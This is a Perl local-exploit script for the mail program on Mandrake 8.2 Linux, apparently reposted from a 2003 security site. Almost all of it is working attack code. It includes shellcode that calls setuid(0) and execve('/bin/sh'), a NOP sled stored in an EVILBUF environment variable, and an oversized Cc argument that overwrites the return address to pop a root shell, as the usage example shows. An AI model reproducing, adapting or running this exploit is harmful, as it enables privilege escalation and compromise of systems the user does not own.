#!/usr/bin/perl
###############################
# Mandrake 8.2 /usr/mail local exploit
#
# Usage:
# perl d86mail.pl [offset]
# Then enter "." (dot) and press 'Enter'
#
# Example:
# [satan@localhost my]$ perl d86mail.pl
# eip: 0xbffffddd
# .[enter]
# Cc: too long to edit
# sh-2.05$
###############################
$shellcode =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
.
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
.
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$size = 1000;
$size2 = 8204;
$retaddr = 0xbffffddd;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
$buffer .= $nop;
}
for ($i = 0; $i < ($size2); $i++) {
$buffer2 .= "A";
}
$buffer .= $shellcode;
print "eip: 0x", sprintf('%lx',($retaddr + $offset)),
"\n";
local($ENV{'EVILBUF'}) = $buffer;
$newret = pack('l', ($retaddr + $offset));
$buffer2 .= $newret;
exec("mail -s wow -c $buffer2 root@localhost");
#EOF
securitydot.net - 2003-06-10
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